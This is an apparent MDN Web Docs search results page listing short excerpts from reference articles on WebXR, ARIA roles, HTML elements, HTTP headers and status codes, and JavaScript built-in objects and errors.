... syntax xrinputsourceeventinit.frame = xrframe; let xrinputsourceeventinit = { frame: xrframe }; let xrinputsourceevent = new xrinputsourceevent(type, { frame: xrframe }); value an xrframe indicating the time at which the event took place, and providing a getpose() method which can be used to map reference spaces to the world reference space.
... usage notes the event frame does not correspond to a visual frame as is delivered to the frame rendering callback function (see rendering and the webxr frame rendering callback for details on the callback).
...And 2 more matches
XRPermissionDescriptor.mode - Web APIs
the session's environmentblendmode indicates the method to be used to blend the content together.
... immersive-vr indicates that the rendered session will be displayed using an immersive xr device in vr mode; it is not intended to be overlaid or integrated into the surrounding environment.
...inline sessions can be presented in either mono or stereo mode, and may or may not have viewer tracking available.
...And 2 more matches
XRReferenceSpaceEvent - Web APIs
properties in addition to inheriting the properties available on the parent interface, event, xrreferencespaceevent objects include the following properties: referencespace read only an xrreferencespace indicating the reference space that generated the event.
... transform read only an xrrigidtransform object indicating the position and orientation of the specified referencespace's native origin after the event, defined relative to the coordinate system before the event.
... event types reset the reset event is sent to a reference space when its native origin is changed due to a discontinuity, recalibration, or device reset.
...And 2 more matches
XRReferenceSpaceEventInit - Web APIs
the xrreferencespaceeventinit dictionary is used when calling the xrreferencespaceevent() constructor to provide the values for its properties.
... transform an xrrigidtransform which maps the old coordinate system (from before the changes indicated by this event) to the new coordiante system.
... usage notes all of this dictionary's properties must have valid values set on them before calling the xrreferencespaceevent() constructor.
...And 2 more matches
XRSession.inputSources - Web APIs
these controllers may include handheld controllers, xr-equipped gloves, optically tracked hands, and gaze-based input methods.
... syntax inputsources = xrsession.inputsources; value an xrinputsourcearray object listing all of the currently-connected input controllers which are linked specifically to the xr device currently in use.
... usage notes you can add a handler for the xrsession event inputsourceschange to be advised when the contents of the session's connected devices list changes.
...And 2 more matches
XRSystem: devicechange event - Web APIs
bubbles no cancelable no interface event event handler xrsystem.ondevicechange usage notes devicechange events are not delivered if the document which owns the xrsystem object has been granted permission to do so through the xr-spatial-tracking feature policy.
... you can use this event to, for example, monitor for the availability of a webxr-compatible device so that you can enable a ui element which the user can use to activate immersive mode.
... if (navigator.xr) { navigator.xr.addeventlistener("devicechange", event => { navigator.xr.issessionsupported("immersive-vr") .then(immersiveok) => { if (immersiveok) { enablexrbutton.disabled = false; } else { enablexrbutton.disabled = true; } }); }); } when devicechange is received, the handler set up in this code calls the xr method issessionsupported() to find out if there's a device available that can handle immersive vr presentations.
...And 2 more matches
XRViewerPose.views - Web APIs
for each frame, you should always use the current length of this array rather than caching the value.
... examples in this example—part of the code to render an xrframe, getviewerpose() is called to get an xrviewerpose using the same reference space the code is using as its base reference space.
...); gl.clearcolor(0, 0, 0, 1); gl.cleardepth(1); gl.clear(gl.color_buffer_bit, gl.depth_buffer_bit); for (let view of pose.views) { let viewport = gllayer.getviewport(view); gl.viewport(viewport.x, viewport.y, viewport.width, viewport.height); /* render the scene for the eye view.eye */ } } passing each view to getviewport() returns the webgl viewport to apply in order to cause the rendered output to be positioned correctly in the framebuffer for renderijng to the corresponding eye on the output device.
...And 2 more matches
XRVisibilityState - Web APIs
the xrvisibilitystate enumerated type defines the string values which are valid for the xrsession interface's visibilitystate property, which indicates whether or not an xr session is currently visible to the user, and if it is, whether or not it's currently the primary focus.
... values hidden the virtual scene generated by the xrsession is not currently visible to the user, so its requestanimationframe() callbacks are not being executed until thevisibilitystate changes.
...to that end, the session's requestanimationframe() callbacks are being processed at the xr device's native refresh rate and input controllers are being processed as normal.
...And 2 more matches
XRWebGLLayer.getViewport() - Web APIs
syntax let viewport = xrwebgllayer.getviewport(view); parameters view an xrview object indicating the view for which the viewport is to be returned.
... example this example demonstrates in part what the callback for the requestanimationframe() function might look like, using getviewport() to get the viewport so that drawing can be constrained to the area set aside for the eye whose viewpoint is currently being rendered.
... this works because the set of views returned by an xrviewerpose each represent one eye's perspective on the scene.
...And 2 more matches
XRWebGLLayer.ignoreDepthValues - Web APIs
the value of ignoredepthvalues can only be set when the xrwebgllayer is instantiated, by setting the corresponding value in the xrwebgllayerinit object specified as the constructor's layerinit parameter.
... syntax let ignoringdepthbuffer = xrwebgllayer.ignoredepthvalues; value a boolean value which is true if the webgl context's depth buffer is being used while computing the locations of points in the 3d world.
...each entry in the buffer specifies the depth at which the corresponding pixel is located, and has a value between 0.0 and 1.0.
...And 2 more matches
XRWebGLLayerInit.antialias - Web APIs
syntax let layerinit = { antialias: boolvalue }; let gllayer = new xrwebgllayer(xrsession, gl, layerinit); let gllayer = new xrwebgllayer(xrsession, gl, { antialias: boolvalue }); value a boolean value which can be set to true to request anti-aliasing support in the new webgl rendering layer.
... usage notes the state of anti-aliasing for the context after being created can be read from the xrwebgllayer property antialias.
... example in this example, before creating a new xrwebgllayer to use for rendering, the value of a user preference from a configuration interface is obtained using a function called getpreferencevalue() to determine whether the user has enabled or disabled anti-aliasing support; this is passed into the constructor.
...And 2 more matches
Generating HTML - Web APIs
generating html one common application of xslt in the browser is to transform xml into html on the client.
...for the xml elements, our own namespace is needed, http://devedge.netscape.com/2002/de, and it is given the prefix myns (xmlns:myns="http://devedge.netscape.com/2002/de").
... figure 2 xml file :(example2.xml)view example | view source xml document (example2.xml): <?xml version="1.0"?> <?xml-stylesheet type="text/xsl" href="example2.xsl"?> <myns:article xmlns:myns="http://devedge.netscape.com/2002/de"> <myns:title>my article</myns:title> <myns:authors> <myns:author company="foopy corp.">mr.
...And 2 more matches
Using the alertdialog role - Accessibility
this means that most of the instructions provided in the 'using the dialog role' technique are applicable to the alertdialog role as well: the alert dialog must always be given an accessible name (through aria-labelledby or aria-label) , and in most cases the alert text will have to be marked up as the alert dialog's accessible description (using aria-describedby).
...generally alert dialogs have at least a confirmation, close or cancel button that can be used to move focus to.
... additionally, alert dialogs can have other interactive controls such as text fields, tabs or checkboxes.
...And 2 more matches
Using the aria-label attribute - Accessibility
use it in cases where a text label is not visible on the screen.
... this attribute can be used with any typical html element; it is not limited to elements that have an aria role assigned.
... examples example 1: multiple labels in the example below, a button is styled to look like a typical "close" button, with an x in the middle.
...And 2 more matches
Using the group role - Accessibility
the group role is used to identify a set of user interface objects which, in contrast with a region, are not intended to be included in a table of contents or a page summary (such as the structures that are dynamically created by a script or assistive technologies); a group should not be considered a major perceivable section on a page.
... when the role is added to an element, the browser will send out an accessible group event to assistive technology products which can then notify the user about it.
... a group should be used to form a logical collection of items with related functionality, such as children in a tree widget forming a collection of siblings in a hierarchy, or a collection of items having the same container in a directory.
...And 2 more matches
Using the log role - Accessibility
when this role is added to an element, the browser will send out an accessible log event to assistive technology products which can then notify the user about it.
...to have announcements made as soon as possible and where the user may be interrupted, aria-live="assertive" can be set for more aggressive updates.
... assistive technology products should listen for such an event and notify the user accordingly: screen readers should announce changes inside a log when the user is idle, unless aria-live=”assertive” has been set and in which case the user may be interrupted.
...And 2 more matches
Using the progressbar role - Accessibility
a progressbar indicates that the user's request has been received and the application is making progress toward completing the requested action.
... if the actual value of the progressbar can be determined, the developer has to indicate this progress using the aria-valuenow, aria-valuemin, and aria-valuemax attributes.
... as the task progresses, the aria-valuenow value has to be updated dynamically to indicate this progress to assistive technology products.
...And 2 more matches
ARIA: Mark role - Accessibility
the mark landmark role semantically denotes html elements containing text that is marked/highlighted for reference purposes.
... this is semantically equivalent to the html <mark> element.
...using too many landmark roles can create "noise" in screen readers, making it difficult to understand the overall layout of the page.
...And 2 more matches
Introduction to Web development - Developer guides
basic structure of a web page — the doctype and document 'tree' fundamental html elements — structural, head, list, form elements and more, explained by category.
... html beginners tutorial — a tutorial and exercise that recap and take you through the basics you've learned above.
... javascript beginning getting started with javascript — what is javascript and how can it help you?
...And 2 more matches
HTML attribute: crossorigin - HTML: Hypertext Markup Language
depending on the element, the attribute can be a cors settings attribute.
...the "anonymous" keyword means that there will be no exchange of user credentials via cookies, client-side ssl certificates or http authentication as described in the terminology section of the cors specification, unless it is in the same origin.
... example: crossorigin with the script element you can use the following <script> element to tell a browser to execute the https://example.com/example-framework.js script without sending user-credentials.
...And 2 more matches
HTML attribute: minlength - HTML: Hypertext Markup Language
the minlength attribute defines the minimum number of characters (as utf-16 code units) the user can enter into an <input> or <textarea>.
...once submission fails, some browsers will display an error message indicating the minimum length required and the current length.
... <label for="fruit">enter a fruit name that is at least 5 letters long</label> <input type="text" minlength="5" id="fruit"> we can use pseudoclasses to style the element based on whether the value is valid.
...And 2 more matches
<div>: The Content Division element - HTML: Hypertext Markup Language
WebHTMLElementdiv
instead, it's used to group content so it can be easily styled using the class or id attributes, marking a section of a document as being written in a different language (using the lang attribute), and so on.
... content categories flow content, palpable content.
... html <div class="shadowbox"> <p>here's a very interesting note displayed in a lovely shadowed box.</p> </div> css .shadowbox { width: 15em; border: 1px solid #333; box-shadow: 8px 8px 5px #444; padding: 8px 12px; background-image: linear-gradient(180deg, #fff, #ddd 40%, #ccc); } result specifications specification status comment html living standardthe definition of '<div>' in that specification.
...And 2 more matches
<dt>: The Description Term element - HTML: Hypertext Markup Language
WebHTMLElementdt
it is usually followed by a <dd> element; however, multiple <dt> elements in a row indicate several terms that are all defined by the immediate next <dd> element.
... content categories none.
... specifications specification status comment html living standardthe definition of '<dt>' in that specification.
...And 2 more matches
<footer> - HTML: Hypertext Markup Language
WebHTMLElementfooter
a footer typically contains information about the author of the section, copyright data or links to related documents.
... content categories flow content, palpable content.
... usage notes enclose information about the author in an <address> element that can be included into the <footer> element.
...And 2 more matches
<head>: The Document Metadata (Header) element - HTML: Hypertext Markup Language
WebHTMLElementhead
content categories none.
... example <!doctype html> <html> <head> <title>document title</title> </head> </html> notes html5-compliant browsers automatically create a <head> element if its tags are omitted in the markup.
... specifications specification status comment html living standardthe definition of '<head>' in that specification.
...And 2 more matches
<header> - HTML: Hypertext Markup Language
WebHTMLElementheader
the html <header> element represents introductory content, typically a group of introductory or navigational aids.
... content categories flow content, palpable content.
... historical usage although the <header> element didn't make its way into specifications until html5, it actually existed at the very beginning of html.
...And 2 more matches
manifest - HTML: Hypertext Markup Language
WebHTMLElementhtmlmanifest
the manifest attribute of <html> element specifies a url of a application cache manifest that is downloaded in the early stages of page load.
... note: manifest-based caching mechanism has been deprecated.
... the manifest attribute has only effect during early stages of page load, thus changing it via regular dom interfaces has no effect, window.applicationcache interface instead.
...And 2 more matches
<legend> - HTML: Hypertext Markup Language
WebHTMLElementlegend
the html <legend> element represents a caption for the content of its parent <fieldset>.
... content categories none.
... specifications specification status comment html living standardthe definition of '<legend>' in that specification.
...And 2 more matches
<nextid>: The NeXT ID element (Obsolete) - HTML: Hypertext Markup Language
WebHTMLElementnextid
it was generated by that web editing tool automatically and was not to be adjusted or entered by hand.
... html "1.m" - version 1 (second release) in the next published draft of html, <nextid> <nextid> can be individually deselected for display with a simple sgml command.
...this continues for the next three sections, z5, z6, and z7 (and table of contents entries named z1, z2, and z3), each automatically given anchors with these names.
...And 2 more matches
<optgroup> - HTML: Hypertext Markup Language
WebHTMLElementoptgroup
content categories none.
... label the name of the group of options, which the browser can use when labeling the options in the user interface.
... examples <select> <optgroup label="group 1"> <option>option 1.1</option> </optgroup> <optgroup label="group 2"> <option>option 2.1</option> <option>option 2.2</option> </optgroup> <optgroup label="group 3" disabled> <option>option 3.1</option> <option>option 3.2</option> <option>option 3.3</option> </optgroup> </select> result specifications specification status comment html living standardthe definition of '<optgroup>' in that specification.
...And 2 more matches
<param>: The Object Parameter element - HTML: Hypertext Markup Language
WebHTMLElementparam
content categories none.
... deprecated attributes type only used if the valuetype is set to ref.
... specifications specification status comment html living standardthe definition of '<param>' in that specification.
...And 2 more matches
<rb>: The Ruby Base element - HTML: Hypertext Markup Language
WebHTMLElementrb
content categories none.
... tag omission the end tag can be omitted if the element is immediately followed by an <rt>, <rtc>, or <rp> element or another <rb> element, or if there is no more content in the parent element.
...the browser can then fill in the full element in the rendered version.
...And 2 more matches
<rp>: The Ruby Fallback Parenthesis element - HTML: Hypertext Markup Language
WebHTMLElementrp
content categories none.
... permitted content text tag omission the end tag can be omitted if the element is immediately followed by an <rt> or another <rp> element, or if there is no more content in the parent element.
...the <rp> element is used in the case of lack of <ruby> element support; the <rp> content provides what should be displayed in order to indicate the presence of a ruby annotation, usually parentheses.
...And 2 more matches
<span> - HTML: Hypertext Markup Language
WebHTMLElementspan
it can be used to group elements for styling purposes (using the class or id attributes), or because they share attribute values, such as lang.
... content categories flow content, phrasing content.
... example example 1 html <p><span>some text</span></p> result example 2 html <li><span> <a href="portfolio.html" target="_blank">see my portfolio</a> </span></li> css li span { background: gold; } result specifications specification status comment html living standardthe definition of '<span>' in that specification.
...And 2 more matches
<xmp> - HTML: Hypertext Markup Language
WebHTMLElementxmp
the html2 specification recommended that it should be rendered wide enough to allow 80 characters per line.
... it has been deprecated since html3.2 and was not implemented in a consistent way.
... use the <pre> element or, if semantically adequate, the <code> element instead.
...And 2 more matches
translate - HTML: Hypertext Markup Language
the translate global attribute is an enumerated attribute that is used to specify whether an element's translateable attribute values and its text node children should be translated when the page is localized, or whether to leave them unchanged.
... it can have the following values: empty string or "yes", which indicates that the element should be translated when the page is localized.
... "no", which indicates that the element must not be translated.
...And 2 more matches
Quirks Mode and Standards Mode - HTML: Hypertext Markup Language
in the old days of the web, pages were typically written in two versions: one for netscape navigator, and one for microsoft internet explorer.
...in full standards mode, the behavior is (hopefully) the behavior described by the html and css specifications.
...there are no valid reasons to use a more complicated doctype.
...And 2 more matches
Reason: CORS request did not succeed - HTTP
the http request which makes use of cors failed because the http connection failed at either the network or protocol level.
... in many cases, it is caused by a browser plugin (e.g.
... other possible causes include: trying to access an https resource that has an invalid certificate will cause this error.
...And 2 more matches
Access-Control-Allow-Credentials - HTTP
credentials are cookies, authorization headers or tls client certificates.
... when used as part of a response to a preflight request, this indicates whether or not the actual request can be made using credentials.
...for a cors request with credentials, in order for browsers to expose the response to frontend javascript code, both the server (using the access-control-allow-credentials header) and the client (by setting the credentials mode for the xhr, fetch, or ajax request) must indicate that they’re opting in to including credentials.
...And 2 more matches
Access-Control-Allow-Headers - HTTP
the access-control-allow-headers response header is used in response to a preflight request which includes the access-control-request-headers to indicate which http headers can be used during the actual request.
... * (wildcard) the value "*" only counts as a special wildcard value for requests without credentials (requests without http cookies or http authentication information).
...note that the authorization header can't be wildcarded and always needs to be listed explicitly.
...And 2 more matches
Connection - HTTP
except for the standard hop-by-hop headers (keep-alive, transfer-encoding, te, connection, trailer, upgrade, proxy-authorization and proxy-authenticate), any hop-by-hop headers used by the message must be listed in the connection header, so that the first proxy knows it has to consume them and not forward them further.
... standard hop-by-hop headers can be listed too (it is often the case of keep-alive, but this is not mandatory).
... header type general header forbidden header name yes syntax connection: keep-alive connection: close directives close indicates that either the client or the server would like to close the connection.
...And 2 more matches
CSP: plugin-types - HTTP
the http content-security-policy (csp) plugin-types directive restricts the set of plugins that can be embedded into a document by limiting the types of resources which can be loaded.
... syntax one or more mime types can be set for the plugin-types policy: content-security-policy: plugin-types <type>/<subtype>; content-security-policy: plugin-types <type>/<subtype> <type>/<subtype>; <type>/<subtype> a valid mime type.
... <meta http-equiv="content-security-policy" content="object-src 'none'"> allowing flash content the content security policy content-security-policy: plugin-types application/x-shockwave-flash will allow to load flash objects: <object data="https://example.com/flash" type="application/x-shockwave-flash"></object> allowing java applets to load an <applet> you must specify application/x-java-applet: content-security-policy: plugin-types application/x-java-applet specifications specification status comment content security policy lev...
...And 2 more matches
Cross-Origin-Resource-Policy - HTTP
note: due to a bug in chrome, setting cross-origin-resource-policy can break pdf rendering, preventing visitors from being able to read past the first page of some pdfs.
... due to a bug in firefox, setting cross-origin-resource-policy can prevent some resources (such as pdfs) from being downloaded in some circumstances.
... exercise caution using this header in a production environment.
...And 2 more matches
Feature-Policy: fullscreen - HTTP
by default, top-level documents and their same-origin child frames can request and enter fullscreen mode.
...it can do so by delivering the following http response header to define a feature policy: feature-policy: fullscreen 'self' https://example.com with an <iframe> element fastcorp inc.
...it can do so by delivering the following http response header to define a feature policy: feature-policy: fullscreen 'self' then include an allow attribute on the <iframe> element: <iframe src="https://other.com/videoplayer" allow="fullscreen"></iframe> iframe attributes can selectively enable features in certain frames, and not in others, even if those frames contain documents from the same origin.
...And 2 more matches
Pragma - HTTP
WebHTTPHeadersPragma
it is used for backwards compatibility with http/1.0 caches where the cache-control http/1.1 header is not yet present.
... note: pragma is not specified for http responses and is therefore not a reliable replacement for the general http/1.1 cache-control header, although it does behave the same as cache-control: no-cache, if the cache-control header field is omitted in a request.
... forbidden header name no cors-safelisted response header yes syntax pragma: no-cache directives no-cache same as cache-control: no-cache.
...And 2 more matches
Proxy-Authorization - HTTP
the http proxy-authorization request header contains the credentials to authenticate a user agent to a proxy server, usually after the server has responded with a 407 proxy authentication required status and the proxy-authenticate header.
... header type request header forbidden header name no syntax proxy-authorization: <type> <credentials> directives <type> authentication type.
...see also the iana registry of authentication schemes.
...And 2 more matches
Public-Key-Pins - HTTP
note: public key pinning mechanism was deprecated in favor of certificate transparency and expect-ct header.
... the http public-key-pins response header used to associate a specific cryptographic public key with a certain web server to decrease the risk of mitm attacks with forged certificates, however, it has been removed from modern browsers and is no longer supported.
... use certificate transparency and expect-ct header instead.
...And 2 more matches
Upgrade-Insecure-Requests - HTTP
the http upgrade-insecure-requests request header sends a signal to the server expressing the client’s preference for an encrypted and authenticated response, and that it can successfully handle the upgrade-insecure-requests csp directive.
... header type request header forbidden header name no syntax upgrade-insecure-requests: 1 examples a client's request signals to the server that it supports the upgrade mechanisms of upgrade-insecure-requests: get / http/1.1 host: example.com upgrade-insecure-requests: 1 the server can now redirect to a secure version of the site.
... a vary header can be used so that the site isn't served by caches to clients that don’t support the upgrade mechanism.
...And 2 more matches
CONNECT - HTTP
WebHTTPMethodsCONNECT
the http connect method starts two-way communications with the requested resource.
... it can be used to open a tunnel.
... for example, the connect method can be used to access websites that use ssl (https).
...And 2 more matches
302 Found - HTTP
WebHTTPStatus302
the hypertext transfer protocol (http) 302 found redirect status response code indicates that the resource requested has been temporarily moved to the url given by the location header.
... even if the specification requires the method (and the body) not to be altered when the redirection is performed, not all user-agents conform here - you can still find this type of bugged software out there.
... it is therefore recommended to set the 302 code only as a response for get or head methods and to use 307 temporary redirect instead, as the method change is explicitly prohibited in that case.
...And 2 more matches
304 Not Modified - HTTP
WebHTTPStatus304
the http 304 not modified client redirection response code indicates that there is no need to retransmit the requested resources.
... it is an implicit redirection to a cached resource.
... the equivalent 200 ok response would have included the headers cache-control, content-location, date, etag, expires, and vary.
...And 2 more matches
404 Not Found - HTTP
WebHTTPStatus404
the http 404 not found client error response code indicates that the server can't find the requested resource.
... links that lead to a 404 page are often called broken or dead links and can be subject to link rot.
... a 404 status code does not indicate whether the resource is temporarily or permanently missing.
...And 2 more matches
501 Not Implemented - HTTP
WebHTTPStatus501
this status can also send a retry-after header, telling the requester when to check back to see if the functionality is supported by then.
... 501 is the appropriate response when the server does not recognize the request method and is incapable of supporting it for any resource.
... a 501 error is not something you can fix, but requires a fix by the web server you are trying to access.
...And 2 more matches
Enumerability and ownership of properties - JavaScript
properties of an object can also be retrieved in total.
...some sample code follows which demonstrates how to obtain the missing categories.
...e nonenumerable enumerable and nonenumerable for..in (excluding symbols) not available without extra code not available without extra code not available without extra code obtaining properties by enumerability/ownership note that this is not the most efficient algorithm for all cases, but useful for a quick demonstration.
...And 2 more matches
About the JavaScript reference - JavaScript
if you're learning javascript, or need help understanding some of its capabilities or features, check out the javascript guide.
...once you have a firm grasp of the fundamentals, you can use the reference to get more details on individual objects and language constructs.
... structure of the reference in the javascript reference you can find the following chapters: standard built-in objects this chapter documents all the javascript standard built-in objects, along with their methods and properties.
...And 2 more matches
extends - JavaScript
} description the extends keyword can be used to subclass custom classes as well as built-in objects.
... examples using extends the first example creates a class called square from a class called polygon.
... class square extends polygon { constructor(length) { // here, it calls the parent class' constructor with lengths // provided for the polygon's width and height super(length, length); // note: in derived classes, super() must be called before you // can use 'this'.
...And 2 more matches
SyntaxError: identifier starts immediately after numeric literal - JavaScript
identifiers can only start with a letter, underscore (_), or dollar sign ($).
... the names of variables, called identifiers, conform to certain rules, which your code must adhere to!
...they can't start with a digit!
...And 2 more matches
TypeError: "x" is not a constructor - JavaScript
generator functions cannot be used as constructors either.
... examples invalid cases var car = 1; new car(); // typeerror: car is not a constructor new math(); // typeerror: math is not a constructor new symbol(); // typeerror: symbol is not a constructor function* f() {}; var obj = new f; // typeerror: f is not a constructor a car constructor suppose you want to create an object type for cars.
... you want this type of object to be called car, and you want it to have properties for make, model, and year.
...And 2 more matches
RangeError: repeat count must be less than infinity - JavaScript
it has a count parameter indicating the number of times to repeat the string.
... it must be between 0 and less than positive infinity and cannot be a negative number.
... the range of allowed values can be described like this: [0, +∞).
...And 2 more matches
SyntaxError: unterminated string literal - JavaScript
escape sequences work in strings created with either single or double quotes.
... to fix this error, check if: you have opening and closing quotes (single or double) for your string literal, you have escaped your string literal correctly, your string literal isn't split across multiple lines.
... examples multiple lines you can't split a string across multiple lines like this in javascript: var longstring = 'this is a very long string which needs to wrap across multiple lines because otherwise my code is unreadable.'; // syntaxerror: unterminated string literal instead, use the + operator, a backslash, or template literals.
...And 2 more matches
TypeError: invalid 'instanceof' operand 'x' - JavaScript
an object which has a prototype property and is callable.
... message typeerror: invalid 'instanceof' operand "x" (firefox) typeerror: "x" is not a function (firefox) typeerror: right-hand side of 'instanceof' is not an object (chrome) typeerror: right-hand side of 'instanceof' is not callable (chrome) error type typeerror what went wrong?
...an object which has a prototype property and is callable.
...And 2 more matches
Array.prototype.flat() - JavaScript
the flat() method creates a new array with all sub-array elements concatenated into it recursively up to the specified depth.
... return value a new array with the sub-array elements concatenated into it.
... alternatives reduce and concat const arr = [1, 2, [3, 4]]; // to flat single level array arr.flat(); // is equivalent to arr.reduce((acc, val) => acc.concat(val), []); // [1, 2, 3, 4] // or with decomposition syntax const flattened = arr => [].concat(...arr); reduce + concat + isarray + recursivity const arr = [1, 2, [3, 4, [5, 6]]]; // to enable deep level flatten use recursion with reduce and concat function flatdeep(arr, d = 1) { return d > 0 ?
...And 2 more matches
Array.prototype.splice() - JavaScript
in this case, no element will be deleted but the method will behave as an adding function, adding as many element as item[n*] provided.
...(in this case, the origin -1, meaning -n is the index of the nth last element, and is therefore equivalent to the index of array.length - n.) if array.length + start is less than 0, it will begin from index 0.
... deletecount optional an integer indicating the number of elements in the array to remove from start.
...And 2 more matches
DataView - JavaScript
the dataview view provides a low-level interface for reading and writing multiple number types in a binary arraybuffer, without having to care about the platform's endianness.
... return new int16array(buffer)[0] === 256; })(); console.log(littleendian); // true or false 64-bit integer values because javascript does not currently include standard support for 64-bit integer values, dataview does not offer native 64-bit operations.
... as a workaround, you could implement your own getuint64() function to obtain a value with precision up to number.max_safe_integer, which could suffice for certain cases.
...And 2 more matches
Date.prototype.getTimezoneOffset() - JavaScript
the gettimezoneoffset() method returns the time zone difference, in minutes, from current locale (host system settings) to utc.
... description the time-zone offset is the difference, in minutes, from local time to utc.
... note that this means that the offset is positive if the local timezone is behind utc, and negative if it is ahead.
...And 2 more matches
FinalizationRegistry.prototype.register() - JavaScript
the register() method registers an object with a finalizationregistry instance so that if the object is garbage-collected, the registry's callback may get called.
...this cannot be the target object.
...if not provided, the target cannot be unregistered.
...And 2 more matches
Function.prototype.toString() - JavaScript
javascript calls the tostring method automatically when a function is to be represented as a text value, e.g.
... when a function is concatenated with a string.
... the tostring() method will throw a typeerror exception ("function.prototype.tostring called on incompatible object"), if its this value object is not a function object.
...And 2 more matches
Intl.DisplayNames() constructor - JavaScript
syntax new intl.displaynames([locales[, options]]) parameters locales optional a string with a bcp 47 language tag, or an array of such strings.
... for the general form and interpretation of the locales argument, see the intl page.
... options optional an object with some or all of the following properties: localematcher the locale matching algorithm to use.
...And 2 more matches
Intl.DisplayNames.prototype.resolvedOptions() - JavaScript
the intl.displaynames.prototype.resolvedoptions() method returns a new object with properties reflecting the locale and style formatting options computed during the construction of the current displaynames object.
... syntax displaynames.resolvedoptions() return value an object with properties reflecting the locale and formatting options computed during the construction of the given displaynames object.
... description the object returned by resolvedoptions() has the following properties: locale the bcp 47 language tag for the locale actually used.
...And 2 more matches
Intl.ListFormat() constructor - JavaScript
syntax new intl.listformat([locales[, options]]) parameters locales optional.
...for the general form and interpretation of the locales argument, see the intl page.
...an object with some or all of the following properties: localematcher the locale matching algorithm to use.
...And 2 more matches
Intl​.List​Format​.prototype​.formatToParts() - JavaScript
the intl.listformat.prototype.formattoparts() method returns an array of objects representing the different components that can be used to format a list of values in a locale-aware fashion.
... syntax intl.listformat.prototype.formattoparts(list) parameters list an array of values to be formatted according to a locale.
... description whereas intl.listformat.prototype.format() returns a string being the formated version of the list (according to the given locale and style options), formattoparts() returns an array of the different components of the formated string.
...And 2 more matches
Intl​.List​Format​.prototype​.resolvedOptions() - JavaScript
the intl.listformat.prototype.resolvedoptions() method returns a new object with properties reflecting the locale and style formatting options computed during the construction of the current listformat object.
... syntax listformat.resolvedoptions() return value an object with properties reflecting the locale and formatting options computed during the construction of the given listformat object.
... description the object returned by resolvedoptions() has the following properties: locale the bcp 47 language tag for the locale actually used.
...And 2 more matches
Intl.NumberFormat.prototype.format() - JavaScript
the intl.numberformat.prototype.format() method formats a number according to the locale and formatting options of this numberformat object.
... description the format getter function formats a number into a string according to the locale and formatting options of this numberformat object.
...note that the function is bound to the numberformat from which it was obtained, so it can be passed directly to array.prototype.map.
...And 2 more matches
Intl.PluralRules.select() - JavaScript
the intl.pluralrules.prototype.select method returns a string indicating which plural rule to use for locale-aware formatting.
... syntax pluralcategory = pluralrule.select(number) parameters number the number to get a plural rule for.
... return value a string representing the pluralization category of the number, can be one of zero, one, two, few, many or other.
...And 2 more matches
Intl.PluralRules - JavaScript
static methods intl.pluralrules.supportedlocalesof() returns an array containing those of the provided locales that are supported without having to fall back to the runtime's default locale.
... instance methods intl.pluralrules.prototype.resolvedoptions() returns a new object with properties reflecting the locale and collation options computed during initialization of the object.
... intl.pluralrules.prototype.select() returns a string indicating which plural rule to use for locale-aware formatting.
...And 2 more matches
Math.sign() - JavaScript
the math.sign() function returns either a positive or negative +/- 1, indicating the sign of a number passed into the argument.
... description because sign() is a static method of math, you always use it as math.sign(), rather than as a method of a math object you created (math is not a constructor).
...1 : 0 ) // if x is positive, then positive one // + // else (because you can't be both - and +) // ( (x < 0) ?
...And 2 more matches
Number.MAX_SAFE_INTEGER - JavaScript
the reasoning behind that number is that javascript uses double-precision floating-point format numbers as specified in ieee 754 and can only safely represent numbers between -(253 - 1) and 253 - 1.
...for example, number.max_safe_integer + 1 === number.max_safe_integer + 2 will evaluate to true, which is mathematically incorrect.
... because max_safe_integer is a static property of number, you always use it as number.max_safe_integer, rather than as a property of a number object you created.
...And 2 more matches
Number.NEGATIVE_INFINITY - JavaScript
this value behaves slightly differently than mathematical infinity: any positive value, including positive_infinity, multiplied by negative_infinity is negative_infinity.
... you might use the number.negative_infinity property to indicate an error condition that returns a finite number in case of success.
... note, however, that isfinite would be more appropriate in such a case.
...And 2 more matches
Number.POSITIVE_INFINITY - JavaScript
this value behaves slightly differently than mathematical infinity: any positive value, including positive_infinity, multiplied by positive_infinity is positive_infinity.
... you might use the number.positive_infinity property to indicate an error condition that returns a finite number in case of success.
... note, however, that isfinite would be more appropriate in such a case.
...And 2 more matches
Number.isSafeInteger() - JavaScript
a safe integer is an integer that can be exactly represented as an ieee-754 double precision number, and whose ieee-754 representation cannot be the result of rounding any other integer to fit the ieee-754 representation.
... for example, 253 - 1 is a safe integer: it can be exactly represented, and no other integer rounds to it under any ieee-754 rounding mode.
... in contrast, 253 is not a safe integer: it can be exactly represented in ieee-754, but the integer 253 + 1 can't be directly represented in ieee-754 but instead rounds to 253 under round-to-nearest and round-to-zero rounding.
...And 2 more matches
Number.prototype.toFixed() - JavaScript
values between 0 and 100, inclusive, will not cause a rangeerror.
...if the absolute value of numobj is greater or equal to 1e+21, this method simply calls number.prototype.tostring() and returns a string in exponential notation.
... warning: floating point numbers cannot represent all decimals precisely in binary.
...And 2 more matches
Object.prototype.__defineGetter__() - JavaScript
this feature is deprecated in favor of defining getters using the object initializer syntax or the object.defineproperty() api.
... while this feature is widely implemented, it is only described in the ecmascript specification because of legacy usage.
... the __definegetter__ method binds an object's property to a function to be called when that property is looked up.
...And 2 more matches
Object.prototype.__defineSetter__() - JavaScript
this feature is deprecated in favor of defining setters using the object initializer syntax or the object.defineproperty() api.
... the __definesetter__ method binds an object's property to a function to be called when an attempt is made to set that property.
... fun a function to be called when there is an attempt to set the specified property.
...And 2 more matches
Object.defineProperties() - JavaScript
each value in props must be either a data descriptor or an accessor descriptor; it cannot be both (see object.defineproperty() for more details).
...can be any valid javascript value (number, object, function, etc).
... polyfill assuming a pristine execution environment with all names and properties referring to their initial values, object.defineproperties is almost completely equivalent (note the comment in iscallable) to the following reimplementation in javascript: function defineproperties(obj, properties) { function converttodescriptor(desc) { function hasproperty(obj, prop) { return object.prototype.hasownproperty.call(obj, prop); } function iscallable(v) { // nb: modify as necessary if other values than functions are callable.
...And 2 more matches
Object.entries() - JavaScript
if there is a need for certain ordering, then the array should be sorted first, like object.entries(obj).sort((a, b) => b[0].localecompare(a[0]));.
... polyfill to add compatible object.entries() support in older environments that do not natively support it, you can use any of the following: a demonstration implementation of object.entries in the tc39/proposal-object-values-entries (if you don't need any support for ie); a polyfill in the es-shims/object.entries repositories; or, you can use the simple, ready-to-deploy polyfill listed below: if (!object.entries) { object.entries = function( obj ){ var ownprops = object.keys( obj ), i = ...
...ownprops.length, resarray = new array(i); // preallocate the array while (i--) resarray[i] = [ownprops[i], obj[ownprops[i]]]; return resarray; }; } for the above polyfill code snippet, if you need support for ie<9, then you will also need an object.keys() polyfill (such as the one found on the object.keys page).
...And 2 more matches
